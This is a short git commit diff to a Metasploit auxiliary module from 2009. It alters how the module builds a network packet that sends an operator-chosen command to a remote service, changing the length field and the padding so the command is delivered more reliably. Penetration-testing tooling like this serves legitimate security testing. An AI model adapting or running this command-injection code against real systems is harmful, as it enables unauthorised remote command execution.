updated to make things more reliable.

git-svn-id: file:///home/svn/framework3/trunk@6749 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2009-07-07 07:00:45 +00:00
parent 50fc339988
commit 94b2eb1cef
1 changed files with 3 additions and 4 deletions

View File

@ -39,13 +39,12 @@ class Metasploit3 < Msf::Auxiliary
begin begin
connect connect
len = 12 + datastore['CMD'].length len = 2 + datastore['CMD'].length
data = [0x00000000].pack('V') data = [0x00000000].pack('V')
data << len.chr data << len.chr
data << "\x00" data << "\x00"
data << datastore['CMD'] data << datastore['CMD'] + " "
data << " -123456789"
data << "\x00" data << "\x00"
print_status("Sending command: #{datastore['CMD']}") print_status("Sending command: #{datastore['CMD']}")